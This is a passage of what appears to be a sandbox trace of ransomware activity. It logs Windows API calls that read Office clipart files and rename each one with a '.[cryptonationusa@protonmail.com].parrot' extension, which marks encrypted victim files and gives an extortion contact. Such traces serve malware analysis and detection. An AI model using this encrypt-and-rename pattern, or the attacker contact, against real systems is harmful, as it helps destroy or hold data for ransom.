returned 1 [0138.818] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.819] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e46, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e46, lpOverlapped=0x0) returned 1 [0138.820] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.820] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.820] CloseHandle (hObject=0x288) returned 1 [0138.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.823] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6af0, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.823] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.823] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.837] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.838] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x69d8, lpOverlapped=0x0) returned 1 [0138.840] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.841] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6af0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.841] CloseHandle (hObject=0x288) returned 1 [0138.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.847] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x63f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.847] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.847] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.848] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.848] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62e0, lpOverlapped=0x0) returned 1 [0138.850] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.850] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x63f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.850] CloseHandle (hObject=0x288) returned 1 [0138.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.853] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xea6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.854] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.854] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.855] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.855] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe956, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe956, lpOverlapped=0x0) returned 1 [0138.858] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.859] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xea6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.859] CloseHandle (hObject=0x288) returned 1 [0138.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.862] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9aba, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.862] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.862] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.906] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.907] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x99a2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x99a2, lpOverlapped=0x0) returned 1 [0138.911] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.911] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9aba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.912] CloseHandle (hObject=0x288) returned 1 [0138.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.915] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.915] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.915] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.916] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.917] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x50b6, lpOverlapped=0x0) returned 1 [0138.919] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.920] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.920] CloseHandle (hObject=0x288) returned 1 [0138.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.923] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6624, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.923] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.923] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.924] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.924] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x650c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x650c, lpOverlapped=0x0) returned 1 [0138.925] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.926] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6624, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.926] CloseHandle (hObject=0x288) returned 1 [0138.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.929] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8538, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.929] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.929] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.931] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.931] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8420, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8420, lpOverlapped=0x0) returned 1 [0138.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.933] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8538, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.933] CloseHandle (hObject=0x288) returned 1 [0138.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.937] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5fc6, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.937] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.937] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.939] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5eae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5eae, lpOverlapped=0x0) returned 1 [0138.941] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.942] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5fc6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.942] CloseHandle (hObject=0x288) returned 1 [0138.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.945] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7852, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.945] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.945] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.949] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.950] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x773a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x773a, lpOverlapped=0x0) returned 1 [0138.951] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.952] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7852, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.953] CloseHandle (hObject=0x288) returned 1 [0138.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.957] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ca6, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.957] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.957] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.958] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.959] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b8e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b8e, lpOverlapped=0x0) returned 1 [0138.961] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.962] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ca6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.962] CloseHandle (hObject=0x288) returned 1 [0138.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.965] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.965] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.965] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.967] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.967] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e74, lpOverlapped=0x0) returned 1 [0138.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.968] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.968] CloseHandle (hObject=0x288) returned 1 [0138.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.973] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x229a, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.973] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.973] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.974] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.975] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2182, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2182, lpOverlapped=0x0) returned 1 [0138.976] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.976] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x229a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.976] CloseHandle (hObject=0x288) returned 1 [0138.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.982] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.982] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.982] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.983] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.983] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x37e4, lpOverlapped=0x0) returned 1 [0138.984] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.985] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.985] CloseHandle (hObject=0x288) returned 1 [0138.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.988] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.988] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.988] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.990] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.990] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21da, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21da, lpOverlapped=0x0) returned 1 [0138.991] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 